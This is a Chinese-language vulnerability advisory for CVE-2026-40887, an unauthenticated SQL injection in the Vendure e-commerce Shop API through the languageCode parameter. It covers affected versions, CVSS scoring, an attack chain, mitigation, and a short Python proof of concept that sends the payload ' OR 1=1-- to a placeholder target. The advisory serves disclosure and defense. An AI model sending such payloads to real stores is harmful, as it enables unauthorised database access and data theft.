CVE-2026-40887 CVSS 9.1 严重

CVE-2026-40887 Vendure SQL注入漏洞

披露日期: 2026-04-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-40887

漏洞类型

SQL注入

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Vendure

漏洞概述

Vendure是一个开源的无头电商平台。在1.7.4版本及之后且在2.3.4、3.5.7和3.6.2版本之前，Vendure Shop API中存在一个未经身份验证的SQL注入漏洞。用户控制的查询字符串参数未经参数化或验证直接插入原始SQL表达式，允许攻击者对数据库执行任意SQL语句。该漏洞影响所有支持的数据库后端（PostgreSQL、MySQL/MariaDB、SQLite）。尽管Admin API也受影响，但利用该部分漏洞需要身份验证。

技术细节

该漏洞的核心问题在于Vendure处理Shop API请求时，未对用户提供的查询字符串参数（根据补丁分析为`languageCode`）进行充分的校验和转义。系统直接将此参数拼接进原始SQL查询语句中，导致了经典的SQL注入漏洞。由于缺乏参数化查询机制，攻击者可以通过注入单引号等SQL元字符来改变查询逻辑。攻击者无需登录即可利用此漏洞，针对PostgreSQL、MySQL/MariaDB或SQLite数据库执行任意SQL命令。这可能导致数据泄露（机密性影响）或通过破坏数据导致服务不可用（可用性影响）。补丁版本通过引入参数化查询以及输入边界验证机制修复了该缺陷。

攻击链分析

STEP 1

侦察

识别目标是否使用Vendure电商平台，并确认其版本处于受影响范围内（1.7.4 <= version < 2.3.4/3.5.7/3.6.2）。

STEP 2

武器化

针对受影响的数据库后端（PostgreSQL, MySQL等）构造特定的SQL注入Payload，通常涉及在查询字符串参数中插入恶意SQL代码。

STEP 3

交付

向Vendure Shop API发送包含恶意Payload的HTTP GET请求，利用未经身份验证的接口进行攻击。

STEP 4

利用

后端数据库直接执行注入的SQL语句，攻击者从而窃取敏感数据、绕过认证或破坏数据库完整性。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# CVE-2026-40887 PoC Generator
# Target: Vendure Shop API

target_url = "http://target-vendure-shop.com/shop-api"
# Example payload based on the vulnerability description (languageCode parameter)
payload = "' OR 1=1-- "

params = {
    # Assuming the vulnerable parameter is languageCode as per the hotfix description
    "languageCode": payload
}

try:
    response = requests.get(target_url, params=params)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check response for SQL injection behavior.")
        print(response.text[:200]) # Print snippet of response
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

Vendure >= 1.7.4, < 2.3.4

Vendure >= 3.0.0, < 3.5.7

Vendure >= 3.6.0, < 3.6.2

防御指南

临时缓解措施

对于无法立即升级的用户，建议应用Vendure官方提供的热修复方案。该方案通过替换`packages/core/src/service/helpers/request-context/request-context.service.ts`中的`getLanguageCode`方法，在边界处验证`languageCode`输入。无效值将被静默丢弃，并改用频道的默认语言，从而在恶意载荷到达查询之前将其拦截。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表